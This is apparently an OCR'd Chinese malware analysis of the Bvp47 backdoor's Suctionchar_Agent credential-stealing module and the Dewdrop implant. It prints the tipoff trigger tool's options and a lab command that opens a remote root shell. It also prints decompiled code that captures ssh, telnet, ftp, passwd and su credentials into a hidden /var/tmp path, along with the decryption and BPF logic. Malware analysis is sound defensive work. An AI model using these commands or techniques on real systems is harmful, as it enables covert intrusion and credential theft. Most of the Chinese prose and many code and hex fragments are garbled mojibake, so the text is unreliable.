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1. iREHhA

EflE "Bvpa7-KEINSALRENARIIMEE]" (£%51) BERT , Bvpd7TXBBHRE—IE
RHUFEERE  HBAT181M DR | EEEBERT 7 X T Bvpd7fEI JEFRIAB S IR o A
MT5RYHEIA |, LANBPFESRKREE |, (BHAIREERD EMMERESESRINRR | XEARREEATLAUEABvpa7
AU—BRY—EHTIESS . BRI LABIRIZfER.

2015 FENERNEEREEXEEEEMIRIERISolarisRFEUET , £ =IRINEIT—H
MUFETSolarisEEERRKREBVpATXEBTINEAR , FEMA  HFAXMERNETE "FFEEAN"
( The Shadow Brokers ) #B8EHAY “IXZK" ( Suctionchar_Agent ) KREREFFRMG—EL, 1ZARNSE
Fr&ECBvp479fdDewdrop. IncisionZEHRAEFIFEFtipoff , ATLIRING I B R A R ERIT
ssh. passwd. sudoZEam<SHTAIMKSERS , BRMEHISHRFEBRRES . XL INZFERAIETD
S EREtB EERSAELERIFASASRAR,

BIHERR  EEEREZEB (NSA) FIRSELL "IR%R" (Suctionchar_Agent ) KREIEREE
THARAFERLRBIGENKSESL , EEESHET T 2108 ENZNKS B EEEFET
Ly, HEEERZERB (NSA) BTER ITAOMREIRH "&i%" HANSEENEEERL.

EBIRBvp47THIEIREREGRRERR —KEXETHHE , XHREESEIXS "“IXFK" (Suction-
char_Agent ) . Dewdrop. Bvp47_loaderEfEFiIRZRERAIADITRE—TIEEBVPA7IXN R
R TFEERE S TIEARFIHITIBEE.

IRFLEELNERBIRATF] |



2. "IRR" IRIEKRS
( Suctionchar_Agent ) lEinsER

B WEHsE

LI EEMARNRAENDHT , EELRERRT "IXR" BRIRAKG (Suctionchar_Agent)
5Bvp47al JEFEMEHE SIS NGNS | BEATIIREN BRI

1
| RREBX—
modload -
Incision :

modload @

X Eincision/517] |

sass @

StoicSurgeon
modload )
Dewdrop -
———
Jvar/tmp/.e33ff11cbBeab4fi/a0bd73925e397d9 : /
- cdB0eB5e2eaa6e60/d5373a146f101200a23760 [EESS
EEEm f
2 % 54dde25677 e __m@

REEP I

suctionchar_decode

www.pangulab.cn

LT FRZERsumSEHE) “IRZ" IRIRAS ( Suctionchar_Agent ) 5B passwd. telnet. suZ
HEPHIKSZS ;

2. GRS ERREL RIEEIEITTRING3M "IRZK" IRIRAKRS (Suctionchar_Agent ) ;

3. "IXFR" IBERAG ( Suctionchar_Agent ) RIS EBREFEIRIT “/var/tmp/xxoxxxxx” BIBETE
BHRF ;

4. EEEZREZER (NSA ) NKELEE TR AR Tish SRR A B 2N ERIBPFITLISIER |

IERFLRR/EHLRERIFERAE | www.pangulab.cn



5. BPRZ S sk E NSt B E1E1XLERIng 3ADewd ropfEFIELR ;
6. Dewdropi{THUIEBEZHILEish i8S |, RERNEEIXLSIncisionfEFF ;

7. Incisionf2FERNEE E ] callbackittllt , EEEZREZ 2B ( NSA ) RIS EEF BishiZZ 5 EEY
B ;

8 XEEZRLZER ( NSA ) HIIESLIEE B RSANIBINZRI DM TIARRZ AR ZE )Y

B RS0

1. SE{TtipofHEEIIERF , THASBIRATT:

Jtipoff -h
usage: ./tipoff [options]

* -t, --destination-address address[:port] - The address to send the trigger packet to

+ -p, --destination-port port - Port to use for sending trigger -R, --trigger-address address - The target address to use in the trigger
command data, required when using nat with
a trigger packet. The target address is used

by default,
* -a, --callback-address address[:port] - The trigger callback address
* -¢, --callback-port port - The trigger callback port
-5, --source-address address[;port] - Use this source address for the trigger
-u, --source-port port - Use this port when sending tcp/udp
* -, ==protocol, --transport protocol - Transport layer protocol used to send trigger (tcp/udp/icmp)
-A, --application protocol - Application layer protocol used to send trigger (dns/smtp/sip)
-C, --command command - The command protocol identification value.
-E, ==time time - The time to use, in seconds since the epoch
-K, --time-skew skew - The time skew to use, in seconds
-M, --list-icmp-options - List typical icmp options
-l, --icmp-options type,code - icmp type and code fields
-n, --raw-send [<address>:)port - Send raw trigger packet data to this address,
port. The default address is localhost.
-0, =-tcp-connect - Establish tcp connection for trigger
-f, --tcp-flags flag[.flag) - tcp flags (syn, fin, rst, push, ack, urg)
-L, --list-firewall-types - Print supported firewall types to stdout
-F, --bypass-firewall type - Bypass firewall (types: pix)
-m, --mail-from address - Use this as from” address for SMTP/SIP application protocol data
-l, --rept-to address - Use this as to” address for SMTP/SIP application protocol data
-d, --dns-flags bytes - The 16-bit dns flags value
-U, --forward-offset - Use a forward offset trigger packet
-T, --start - The 16-bit start of trigger data value
-i, --start-ish - Start an incision callback listener
-x, --execute file - Use command 0x04 and start execute call back listener with given file
-g, ~-quiet - Do not print informational messages
=h, ==help = This help message

* - Required parameter
+ - Required parameter when using TCP or UDP

IRFLEELNERBRAE |



2. BURIHRESIZRANT:

%51 Ihgeik e

RTINS SZHETCP, UDP, ICMPHY
IEEITCPAIRESTHF syn. fin, ack, rst. push. urg

B KBRS PIXELH'E ; BUAIFRIKIEERE , ACLEFRE ;
SRR RN SMTP, SIP, DNSZRFAENY

FE115h8EL SRR RN TR

fE1715h8E2 SHHTiEShell&EE

SRS REH BIESMTP, DNS. TCPEMYAGRCMEEY

3. XFUDPBARIIZFZEshel ZREX

[root@localhost Desktopl# ./
-address 192.168.159.128 --t
ddress 192.168.159.129 --ca
TRIGGER DATA
COMMAND
DESTINATION ADDRESS
TRANSPORT PROTOCOL
TIME STAMP
TIME SKEW
CALLBACK ADDRESS
SOURCE PORT
START OF TRIGGER

Invoking ISH on port 2468...
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is 'A]’.
25146,1

Skipping environment dump...
bash-3.00# [}

IRFLEELNERBIRATF] |

tipoff --trigger-address 192.168.159.128 --target
arget-protocol udp --target-port 738 --callback-a
llback-port 2468 --start-ish

0x01

192.168.159.128:738

udp (17)

Sun Mar 6 11:45:07 2022 (1646595907)
43200

192.168.159.129:2468

64259

0x0136




4. UDPIR3ZANTT

18301 39829.702857 192 168. 159 129 192.168.159.128 UDP 17864259 = 738 Len=136

rt unreachabl

18305 39829.703448 192.168.159.128 192.168.159.129 TCP 66 32917 » 2468 [ACK] Seq=1 Ack=1 Win=5840 |
18306 39829.7603657 192.168.159.128 192.168.159.129 TCP 194 32917 -+ 2468 [PSH, ACK] Seq=1 Ack=1 Win=!
18307 39829.703851 192.168.159.129 192.168.159.128 TCP 66 2468 » 32917 [ACK] Seq=1 Ack=129 Win=579:
18308 39829.7508556 192.168.159.129 192.168.159.128 TCP 74 2468 -+ 32917 [PSH, ACK] Seq=1 Ack=129 Wit
18309 39829.750852 192.168.159.128 192.168.159.129 TCP 66 32917 » 2468 [ACK] Seq=129 Ack=9 Win=584¢
1831A 39829.751348 197.16R.159.129 197.168.159.178 TCP 74 2468 + 37917 [PSH. ACK1 Sea=9 Ack=179 Wir

«

> Frame 18301: 178 bytes on wire (1424 bits), 178 bytes captured (1424 bits) on interface \Device\NPF_{BD992997-9A45-4A¢€
> Ethernet II, Src: VMware_de:9c:aa (86:0c:29:de:9c:aa), Dst: VMware_2a:ff:ac (@0:8c:29:2a:ff:ac)
> Internet Protocol Version 4, Src: 192.168.159.129, Dst: 192.168.159.128
> User Datagram Protocol, Src Port: 64259, Dst Port: 738
~ Data (136 bytes)
Data: @1369bBac86e493cd2529F35e607ebeded8f1ceeeb566bBat9e51149353d0af139293d07...

0e00 e ec 29 2a ff ac @@ @c 29 de 9¢c aa @8 €0 45 @0
00le 90 a4 00 ©1 90 09 40 11 b9 f5 c@ a8 9f 81 c¢B a8
eez2e 86 e? 4

ga3a & L 5

eade
0es5e
2868
eaje
gage
aa9e
20a0
gebe gEldgls

5. TEEREXEIRIshell R e LAB R PRI EAZFN S (4

root 5697 5562 0 00:28 pts/2 00:00:00 bash

root 6116 1 001:23 7 00:00:00 cupsd

root 24682 1 008:20 ? 00:00:00 /usr/bin/modload

root 24683 24682 0 08:20 7 00:00:00 /usr/bin/modload

root 24684 1 008:20 ? 00:00:00 /usr/bin/modload

root 25146 1 0 11:45 7 00:00:00 /usr/bin/modload

root 25147 25146 0 11:45 pts/3 00:00:00 /bin/bash --posix +o history
root 25178 25147 0 11:46 pts/3 00:00:00 ps -ef

bash-3.00#

IERFLRR/EHLRERIFERAE | www.pangulab.cn



6. “/var/tmp/" BRTHRIIZRISHEIT

bash-3.00# pwd
/var/tmp/.e33ff11cb8e3b4ff/a0b973925e397d%cdB0e85e2eaabeb0

bash-3.00# 1s -1

total 4

-TW——————— 1 root root 154 Mar 9 09:07 d5373a146ff9f200a2376054dde25677

7. {EMsuctionchar_decodefd “/var/tmp/” BF FHINZEAING/ER

‘root@localhost Desktop]# ./suctionchar_decode__v__3.3.9.27_x86_64-1inux-re(
it-enterprise-4.9 444
reating file "20220308033113_19577_passwd_test"

LB EAETWERFERAR | www.pangulab.cn



3. "IXR" IRIEARS
( Suctionchar_Agent ) i AT

B HER

BEARKECGIIRAI , 8L =2015FRNEIRFARN "FFELAN" (The Shadow Bro-
kers ) tthiwAYSI{Gz— , Blsuctionchar_agent_ v_ 3.3.7.9_sparc-sun-solaris2.9 , 3{4BXERU
o

HFEDHRIR
XiHETR KA
X{HI§% (MD5) a633clce5a4730dafa8623a62927791f
XHRIMFT) 47,144

The Shadow BrokersEl{f®@&#R suctionchar_agents.tar.bz2

[Fa3 4= FR suctionchar_agent_v__3.3.7.9_sparc-sun-solaris2.9

EFENSSH, TELNET, FTP, PASSWD, SU. RSH,

e
MEERw LOGIN, CSHETER Ik SRaIEa.
CPU%S SPARC

P ERE2 /var/tmp/ XXXXXXXXXXXX

ETROLNERMNAVFARTJISPARCEEN |, LD | AT EEEEEA RING I EHT
i , Bl iiRET X862, INREHERNASDIEFHFEAHITONT , BIRXS6ZEMATSHERIT

IRFLEELNERBIRATF] |



B SRR :

B4 =4 suctionchar_agent_v_ 2.0.28.2_x86-linux-centos-5.1
X{FI§#&E(MD5) 4a5b7a9c5d41dbe61c669ed4cf2975e5
XHEKIFD) 31,649

The Shadow BrokersEl{f&82#i

suctionchar_agents.tar.bz2

=Vprd =4 suctionchar_agent_v_ 2.0.28.2_x86-linux-centos-5.1

HaEEtT EHHENSSH, TELI\IETx FTP. PAESW_E)\ SU. RSH.
LOGIN. CSHEERFFHIKSERES.

CPUZS X86

Bvp473IRis H OxOE

PEhEERE2 /var/tmp/ XXXXXXXXXXXX

B EAKEX

IRIER S SCIO =R "RR" IRRARSHEA (Suctionchar_Agent) , FIRARM "FEL
A" (The Shadow Brokers ) 8= IS E] T NAIRBESEA “linux/bin/suctionchar_a-
gents.tar.bz2/suctionchar_agent_v__3.3.7.9_sparc-sun-solaris2.9” , “&J1F=&2—., HBXE
FHEPTEETEASNFAFIRAR “suctionchar” ADERF , MHEEANIEZI20074

IREFLRERELNERERAE |




W AR
o FIIERMFR

SOTERFA |, FAFERIN

w1 e

agRACFeR
B8RACFEa
B884CFE8
asRACFER
B8R4CFER
BEBACFEa
88R4CFER
B8RACFER
BER4CFER
BEBACFEa
BBR4CFEL
B88L4CFe3
BEBACFES
B8BACFES
BBRACFEA
B8R4CFBE
BABACFBE
BEB4CFT1
B8RACFT4
BEBACFTY
BEBACFT7E
BBRACF7B
BEBACFTE
BEBACFTF
B884CFB2
B8B4CFB4
B8BACFEE
BEBACFES
B384CFI8
BaBACFI8
agBACFI8
B884CFI3
B8B4CFIS5
B8RACFI6
B8RACFIA
BEB4CFIB
B8B4CFID
B8BACFIF
BEBACFAZ
BEBACFAL
BBRACFAS
BERACFAB
BEB4CFAB
B8B4CFAD
BERACFAD
B8RACFAD
BEBACFBa
88a4CFB3
a8R4CFBg
BEBACFBS
B384CFBE
aBRACFBY
B884CFBT

55
89
57
BF
56
53
83
BB
13
aF
46
BB
13
48
B9
39
73
8D
BD

aF

B9

aF

38
38

BB

a1

EC

5D
BE

45
45

45
c7
27
76
BC

B&
F9

cz
CA
F2
13

45

E3

45
ca4

a8

L]
a6

F3
18

EC

a6

55

=]
[:1:]

@e 88

@8 28 ea e

[
e
(M)

Bt "Bvpd7" THFRIRERATEIARIOATRENNE -

sub_804CF60

var_14
var_D
arg_@
arg_4
arg_8

loc_88d4CFoa:

loc_884CFAD:

sub_804CF60

IERFLRR/EHLRERIFERAE | www.pangulab.cn

proc near ;3 CODE XREF: sub_sed49gd4e+4aTp
; sub_BB49EFR+491p ..

= dword ptr -14h

= byte ptr -80h

= dword ptr B8

= dword ptr @ch

push
mov
push
mov
push
push
sub
mov
mor
movzx
inc
mew
mov
inc
mowv
cnp
jnb
lea
lea

MOVIX
me
inc
moVIX
inc
xor
xor
xor
mo
inc
add
cmp
ib

men
add
Pop
pop
pop
pop
retn
endp

dword ptr 18h

ebp

ebp, esp

edi

edi, 1

esi

ebx

esp, B

esi, [ebp+arg 4]
ebx, [ebptarg_@]
eax, byte ptr [esi]
esi

[ebps+var_D], al
eax, [ebptarg_8)
eax

[ebps+var_14], eax
edi, sax

short loc_8@4CFAD
esi, [esi+d]

edi, [edi+d]

; CODE XREF: sub_B884CFe@+4Blj
eax, byte ptr [esi]
ecx, edi
edi
edx, [ebp+var_0)
esi
dl, al
dl, cl
dl, 47h |
[ebx], dl
ebx
[ebpsvar_D], al
edi, [ebp+var_14]
shart loc_S84CF98

; CODE XREF: sub_B@4CFee+241j
eax, [ebp+arg_8]
esp, B
ebx
esi
edi
ebp



REIERIF T ERYIRAT

Address

.rodata:08006...

‘s’ .rodata:08006...
’| .rodata:08007...
.rodata:08007...
’| .rodata:08007...
.rodata:08007...
’| .rodata:08007...
.rodata:08007...
’| .rodata:08007...
s'| .rodata:08007...
.rodata:08007...
=’ .rodata:08007...
‘s’ .rodata:08007...
s'| .rodata:08007...

|20

i

W

w

MERAEEMAT

Length

0000000A
00000021
00000008
00000007
0000000A
00000038
00000021
00000021
00000021
00000006
0000000D
00000011
0000000C
0000000D

Type String

MRTTESR B ) PEETEY (D ) GGV ER Y

J/dev/null
a0b973925e397d9acdB80e85e2eaabeb
%s#fork

(null)

A fdev/tty
A((/usr(/local)?)?/s?bin/)?(sshtelnet|ftp|passwd)( |$)
d5373a146ff9f200a2376054dde25677
dc9cb44a723d0e75201d933159834173
dc9cb44a723d0e75201d933159834173
/proc

/proc/%s/exe

/proc/%s/cmdline

/dev/random

/dev/urandom

IRFLEELNERBIRATF] |



o INEEfERIGIT

S “Linux\etc\opscript.txt” #3dSuctionchar_AgentfIIHAEE 7HE%1<AE , BIIFERSSEN
SSH. TELNET. FTP, PASSWD, SU. RSH. LOGIN, CSHERFHHMKEZLER, "IKE"
( Suctionchar_Agent ) RFEXNMNSEFNNAENE , eSEXBKNRZRIEREE | BKRAAE
SEFHIIEBANX Y, WiziERsum3 4 ( The Shadow Brokers LeaksA k& &1z 14 ) ATEHmMod-
loadfERFNE: , AINIIERIZIERERIETE A |, BILERASHIKE

IRFLEELNERBRAE |




"“IX#Z"  ( Suctionchar_AgentS {4 ASEERTLAERENABLE , BT LAMINEBIEEENECE S |, X
HRRAEEIR3 XL ERAAIXmIERFI R Y config=,

3xXLAERRARIXmIFEZ ( “Linux\bin\suctionchar_configure.xml” ) :

IRFLEELNERBIRATF] |
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“Linux\doc\old\etc\suctionchar.sample.filter.conf”

"IRZR"  (suctionchar_configure ) $&4ERL “dc9cb44a723d0e75201d933159834173 "X
%, iZ3EHSuctionchar_Agent{#EF :

usage: ./suctionchar_configure_ v__3.3.10.3_x86-linux-centos-5.7 [ XML_CONFIG
URATION_FILE | -r ]

This tool is used to generate a SUCTIONCHAR binary configuration

file from an XML configuration specification. The XML data is

read from standard input if no file specified on the command line

This tool can also be used to verify a generated binary file by

using the -r option

This tool will always write to and read from the file ./dc9cb44a723d0e
75201d933159834173

IRFLEELNERBIRATF] |
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o FHIIRENZIE

£ "IRX" (Suctionchar_Agent ) FEE—MEIIAVLIE | SHZIERSUMRESE(S
SEBHBENE/var/tmp/343 , Bisub_8049EFORZIPIER

® 30

31
® 32

33

34
® 35
® 36
® 37

38
® 39
® 40
® 41

42
® 43
® 44
@ 45

46
® 47
® 48
® 49

50

51

52

53
® 54
@ 55

56
@ 57

58
® 59
® 60

61

62

63
® 64
® 65

66
® 67
® 68
® 69
® 70
®71
® 72
® 73
® 74
® 75
® 76
® 77
® 78
® 79
® 80
® 81
® 52
® 83
® 34
® 85
® 36
@ 87|

88
® 89
® 98

T

if ( ve )
switch ( ve )
{
case 1:
ve = §;
vs = "scp”;
break;
case 2:
ve = 8;
v5 = "telnet";
break;
case 3:
ve = 5;
vEi= “ftp”:
break;
default:
ve = 8;
v5 = "passwd";
break;
}
}
else
{
ve = 5;
v5 = "ssh";
}
if ( v7 > 5u )
{
v7 = 9;
v3 = v9;
}
else
1
V2 = v7++;
v3 = &v9[16 * v2];
}

vll = sub_8e4CFee(v3, v5, v6);

*(_DWORD *)v8 = 9;

if ( sub_se4c42e((int)vs, 1) )
break;

if ( sub_804C840(*(_DWORD *)v8, v12) )
break;

if ( sub_804C8CO(*( DWORD *)vg, @) )
break;

if ( sub_804C8CO(*(_DWORD *)v8, 1) )
break;

if ( sub_8e4c8ce(*( DWORD *)vs, 2) )
break;

if ( sub_se4coee(vs[e], vi) )
break;

if ( sub_g8e4c73e(vs[e], vil) )
break;

result = sub_8@4AEE®(*(_DWORD *)v8, sub_806497E8, @);

if ( result )
break;

if ( (unsigned __int8)++v@ > 4u )
return result;

}

return 257;

IERFLRR/ELRERIFERAE | www.pangulab.cn
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EERZLsub_8049A00 :

1int __cdecl sub_s8e49aee(char *s, int a2)

3| int w23 // ed

4 int v3; /f esi

5| sdze_t v5; //f ebx

6| time_t v6; [/ eax

7| ssize_t v7; [/ eax

8| char v8; // [esp+4Fh] [ebp-85h]
9| int wo[3]; // [esp+Seh
18| char buf; // [esp+5Fh] [ebg
11| struct stat stat_buf; // [esp+&ah

sbp-78h] BYREF

i
3 = sub_8e4DF1e(Bmutex);

@17 if ( Iv3)
18| {
19 8 = 1;
28| if (fd>=8)
21 {
® 22 if { _ fxstat(3, fd, &stat_buf) || stat_buf.st_nlink )
23 goto LABEL_15;
24 if { fd>=0 )
25| {
® 26| close(fd);
® 27 d = -1;
28| }

1
® 38| fd = open(8g_s, 1098, 384);
31 if (fd <@ )

32
33|LABEL_18:
34| vi= -1;
® 35 goto LABEL_3;

3 2
37|LABEL_15:

b 38 v2 = lseek(fd, @, 2);
b 39 if (v2a>=9)
48 {
® 41 v5 = strlen(s) + 1;
432 if (V5 + v2 + 17 <= ©x500000 )
43| {
@ 44 if ( write(fd, &buf, 1u) == 1)
45
48| a2 = HIBYTE(a2) | ((unsigned int)a2 »> 8) & @xFFee | (BYTEl(a2) << 16) | ((unsigned __intB)aZ << 24);
47 if ( write(fd, 832, 4u) == 4 )
48| {
® 49 vE = time(@);
58| vo[@] = ({unsigned int)(vé >> 31) »>> 24) | ({unsigned int)(vé »>> 31) >> B) & OxFF@® | ((unsigned __int8)((unsigned _ int16)(vé »> 31) >> B) << 16) | (vé >> 31 << 24);
51 va[1] = HIBYTE(vE) | ((unsigned int)vé >> 8) & OxFF@B | (BYTE1(vée) << 16) | ((unsigned _ int8)ve <« 24);
® 52 if ( write(fd, vo, Bu) == 8 )
53 {
® 54 a2 = HIBYTE(vS) | (v5 >> 8) & @xFFee | (BYTE1(vS) << 16) | (v5 << 24);
® 55 if ( write(fd, &a2, 4u) == 4 )
56 {
®57 sub_804D120(s, v5
58| v? = write(fd, s
® 59 if { v7 >= @ &
b 6©) goto LABEL_6;
61

o FRRFHRIIEEEREX

EEREget_hidden_path_0804BDFO~#iA 7 B S44d  /var/tmp/.e33ffl1cb8e3b4ff/a0b97
3925e397d9acd80e85e2eaabe60/d5373a146ff9f200a2376054dde25677" BUERMELSE :

IRFLEELNERBIRATF] |



1fint _ cdecl get_hidden_path_88e4BDF8(char *s, int a2)
2{

const char *"v3; [/ eax

int v4; [/ edi

char *v5; /f eax

unsigned int vé; // eax

char *format; // [esp+24h] [ebp-1B4h]

int vB; // [esp+28h] [ebp-1Bah]

__fsblkent_t v9; // [esp+2Ch] [ebp-1ACh] BYREF
struct stat v18; f/ [esp+3Bh] [ebp-1A8h] BYREF
char v11[11); // [esp+9@h] [ebp-148h] BYREF

char v12[11); // [esp+98h] [ebp-130h] BYREF

char v13[11]); // [esp+A6h] [ebp-132h] BYREF

char vi4[11); // [esp+Blh] [ebp-127h] BYREF

char vi5[11); // [esp+BCh] [ebp-11Ch] BYREF

char v16[25); // [esp+C7h] [ebp-111h] BYREF

char *filename[4]; // [esp+E@h] [ebp-F8h]

char *file; // [esps+Feh] [ebp-Esh]

int v19; // [esp+F4h] [ebp-Edh]

struct stat stat_buf; // [esp+108h] [ebp-D8h] BYREF
21 struct statvfs v21; /f [esp+16@h] [ebp-78h] BYREF
22| int v22[1e]; // [esp+1Beh] [ebp-28h] BYREF

e e el e
@ 1000 N O P WA D00 B W

®24) vB = @;

@25 if ( Is || la2 )

® 26 return -268435447;

® 27 filenamez[@] = sub_8B4CFé@(vil, "/fvar/tmp/", 11};
® 28 filename[1] = sub_884CFé@(vi2, "/lib/", 7);

® 29 filename[2] = sub_884CFéa(v13, "/dev/", 7);

® 30 filename[3] = sub_884CF6@(vid, "fetc/", 7);

® 31 file = sub_Se4cFed{vis, "/", 3);

®32 vi9 = 8;

® 33| format = sub_BO4CFeB(v16, aSelellx, 12);

® 34 if ( statwfs(file, 8u21) || __xstat(3, file, &stat_buf) )// IKER"/"Miblocks#ik
®35 return 1536;

® 36 v3 = filename[©];

®37 v4=0;

® 38| if ( filename[®] )

{
® 40 while ( _ xstat(3, v3, &vie) || stat_buf.st_dev != vie.st_dev )

®42 v3 = filename[++va];
043 iF (lv3)
® 44 return 1536;

}
® 45 v5 = filename[v4];

48 else
49| {
® 50 vs = 8;

}

@52 if ( Ivs )
@53 return 1536;
® 54| vo = v21.f blocks;
® 55 sub_8P4D2FO((int)8&ve, 4, (int)v22); /1 FHRETndsit
®56 w6 = snprintf(s, *(_DWORD *)a2, format, filename[v4], v22[@], v22[1]) + 1;// HHEREHELK
®57 if ( v6 <= "{_DWORD *)a2 )

58 {
®59 *(_DWORD =)a2 = v6;

[+:]

61 else

ERRAIABAEANT

md5_context ctx;

unsigned int blocks;

int rv;

struct statvfs buf; rv = statvfs("/", &buf);
blocks = buf.f_blocks;

char path[ 2048 ];

struct stat sbuf;

md5_starts(&ctx);

md5_update(&ctx, (char*)&blocks, 4);
unsigned char out[16];
md5_finish(&ctx, out);

memset( path, 0, sizeof(path) );

snprintf( path, sizeof(path) - sizeof(*path), "/var/tmp/.%01611x/"
(int*)out) [0], ((int*)out)[1] );
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o "IRR" KT (suctionchar decode ) {ZEHAIFASH

IFN S —E R rEAREReE | X5 “/var/tmp/.e33ffl1cb8e3b4ff/a0b973925e397d9ac
d80e85e2eaabe60/d5373a146ff9f200a2376054dde25677" BILAH “linux\bin\suctionchar de-
code” ZFATHEE , IIEEIEZFEF RSA FABARE RC6 WFRE R e E iS4 , R Dewdrop
RIRPRIFATH—HF |, X RSA FARBAILUAIEZEI]S "fFE4LA" ( The Shadow Brokers ) jttEE
HHEBHIREKX R,

‘|.text:0824BD68 jmp loc_BB4C474
R I OBBABDED ; - - - - - o - o s oo e e e
.text:0884BD6D

.text:8804B06D loc_804BD6D: ; CODE XREF: main+2111j
*|l.text :2804BD6D sub esp, B

*l.text:@824BD70 push offset a0k 3 "ok\n"

*l.text :@884BD75 push ds:stderr@@GLIBC_2_@ ; stream
‘|.text:0804807B call fprintf

‘|.text:0804B080 add esp, 1eh

‘|.text:@824BD83 sub esp, 8

*|.text:0884BD86 push offset aDecryptingInto ; “decrypting into rcé key and mi... "
*l.text:2884BD8B push ds:stderr@@GLIBC_2 @ ; stream
*l.text:@804BD91 call _fprintf

“l.text:@824BD%6 add esp, 1eh

*l.text:@824BD99 sub esp, @ch

“|.text:@804BD9C push ds:stderr@@GLIBC_2 @ ; stream
‘|.text:0804BDA2 call _fflush

.text:@804BDAT add esp, 1@h

“l.text :8884BDAA sub esp, 4

.text:8884BDAD lea eax, [ebp+var_ 268]

“l.text:0824BDB3 push eax 3 int
*l.text:@824BDB4 lea eax, [ebp+var_282F8]

*|.text:@824BDBA push eax 48

.text:@804B0BB lea eax, [ebp+s]

‘|.text:@804BDC1 push eax

*|.text:@884BDC2 call  rsa_expon decr‘yptlzs 5 RSARLUIREERM
.text:8884BDCT add esp, 16h

“l.text:@884BDCA cmp eax, 1

.text:0804BDCD jz short loc_B@4BDF4

*l.text:@824BDCF sub esp, B

*|l.text :@824BDD2 push offset aCheckDidNotAut ; "check did not authenticate. something ”
.text:9884B0D7 push ds:stderr@@GLIBC_2 @ ; stream
*|.text:080480DD call _fprintf

‘|-text:@804BDE2 add esp, 1leh

“|.text :8884BDES mov [ebp+var_28364], 4

*|l.text :@804BDEF imp loc_B@4c4a74

B =T T L
.text:@804BDF4

IRFLEELNERBIRATF] |
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4. Dewdrop version 3.x }i?ﬁéﬂi'{:"

DewdroptitRi&iE 7 iR E 2RISR

ZBISCER)

0iE.

W BPFiEfk

1. BRI JHOMIA RN

BEeea1cE
88000100
@8eealhe
@8e08108
ageeelDe
©800e107
@800a10A
©8eea10D
B8e0e1E2
B8eea1E4
BEROAL1EE
BEeealED
BBROR1EF
@EEORLEF
BE@OR1EF
BEeee1EF
©80001F4
@800A1F9
BEaval1Fe
BB800R1FD
@8eRR1FF
BB008286
BEeee2es
e8eee2eC
@8e08211
B8e08218
88000214
B800821E
@8ee8223
BEeBe226
08000228
@80082368
88800233
BEeee23s
©800R23F
@8e08241
aEaea241

noannva1

EB 1F

C7 45 E4
8D 45 E4
80 @4 24
EB F6 9C
85 Co
7E 65

75 52

EB 1@ 5D
A3 Ae 7F
85 Ce
7C 4E
7F D1
C7 84 24
31 D2
80 54 24
EB D3 9C
C7 84 24
31 Ce
89 44 24
EB C1 9C

EB B5 2E
EB A@ 2E
89 @4 24
EB 48 @1
88 3D M
74 AE

28

=1

7F

$8E

78 88 8%

ee

ae

ae

ee
o8

ee

00

ee

a8

ae
L]

€e

ee e

28 el

a8 a8

28 ae

28 el

fE1J308E , BPBPFIIEINEE |

SHIIRITEE

_554a7941FF4R8Y ;

loc_seeeiDe:

call
test
jle
cmp
jnz

loc_868e1EF:

call

test

loc_gesa241:

B! AUB_usuTuwT, 2

short loc_8@ee1EF

; CODE XREF: _554a7241+ADl]
[ebp+stat_loc], @
eax, [ebp+stat_loc]
[esp], eax ; stat_loc
wait
eax, eax
short loc_8eee248
g_flag_ba2b4e64, 1
short loc_gs@ee241

; CODE XREF: _554a7941+7ET]
; _554a7941+EFlj

fork

_2883ab43, eax

eax, eax

short loc_g@ee248

short loc_g@eeiDe

dword ptr [esp], 2 ; sig

edx, edx

[esp+4], edx ; handler
signal

dword ptr [esp], @Fh ; sig
eax, eax

[esp+4], eax ; handler
signal

[esp], edi ; file
sub_8ee30Ee

sec_bpf_init 3 Fol¥b{bbpf
[esp], eax ; bpf_program

sec_f_ob518be3 ; #AbpFiLEg
g_flag_ba2bage4, 1
short loc_88@e1EF

; CODE XREF: _554a7941+9D1]

2. Hrhsec_bpf_initiR[E] T bpf_programpysEraik

eseeseDe
eseeseDe
e8ee3eDe
esee3eDdl
esgeeseDns
esee3eDns
esgee3eDn9
esee3en9
esee3en9

55

B8 @@ 83 @0 @8

89 ES5

5D
c3

5 int __cdecl sec_bpf_init()

sec_bpf_init

sec_bpf_init

IERFLRR/ELRERIFERAE | www.pangulab.cn

N\

ZiEE

proc near ; CODE XREF: _554a7941+DBTp
push ebp

mov eax, offset stru_sees3ee ; iEEbpf programikiith
mov ebp, esp

pop ebp

retn

endp
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3. stru_8008300& M E A BT

8008300 32 00 ©0 00 20 83
BO0O8300
8008308 00 00 o0 ee
800836C @6 60 60 PO
8008310 00 00 00 80
8008314 00 60 60 0O
80858318 20 89 e ee
800831C 00 00 00 °0
5008320 80 00 00 00 00 PO
8008320 14 00 ©0 00 6 P0
e80e8320

4. bpf_program#bpf_insnZEta455BIa0F

00000060
000000080
00000000
000000060
@0000e008
00000004
00000008
00000008

P800833@ @7 ee 00 00 02 00
B8OEB330 48 @D e 60 60 80
08008340 44 00 @8 80 CF E6
08088340 02 60 00 60 04 00
P8008350 48 0P PO 00 00 eo
08008350 54 B0 09 B0 CF E6
P8008360 B4 0P PO 00 0O OO
08008360 14 00 €0 20 @1 eo
P80B8370 87 00 B0 60 OA B0
08008370 60 00 00 PO 04 °O
B80EE380 5C @0 00 60 60 60
P8AEB380 67 00 00 B0 A eo
08008390 B2 60 00 00 04 eo
P80e8390 B0 0P PO 00 OO B0
08008340 1C 00 00 ©0 00 0
P80083A0 7 0D PO 00 OA B0
O80EB3E0 48 00 00 20 00 e
P8OGE3E0 B2 6D e 60 66 60
P80083Ce 61 00 €0 00 o4 8o
BBOOB3CO 30 60 60 60 17 66
P80e83De 15 90 @9 V5 06 Po
©80083D0 30 PO 00 0O 2E ©0
D80OB3E0 74 0P PO 00 ©2 PO
080e83Ee0 14 00 €0 °0 14 0
P80083F0 ©C @0 B0 60 00 80
O80EB3F0 @7 00 00 80 OA 20
B80OE400 48 00 00 00 OFE 00
08008400 €2 00 €0 00 O3 Vo
D80e8410 80 60 00 60 00 00
P8008412 14 90 €0 B0 2 Vo
08008420 ©7 PO 00 0O 02 ©O
P8008420 48 0D PO 00 0O B0
08008430 44 PO @0 @@ 6A 9D
P8008430 02 00 B0 60 ©4 B0
08008440 48 00 00 PO 00 BO
B80G8440 54 60 60 66 6A 9D
08683458 84 60 90 89 98 88
08008450 14 90 €0 ©0 @1 0
P8008460 ©7 0D PO 00 OA B0

bpf_program

bf_len
bf_insns
bpf_program

o0

=1%]
ee

ee
ee
ee
ee
ee
o0
[51%]
ee
0o
ee
ee
ee
ee
[=12]
o0
512]
ee
ee
ee
[=2]
ee
o0
ee
ee
00
ee
0o
ee
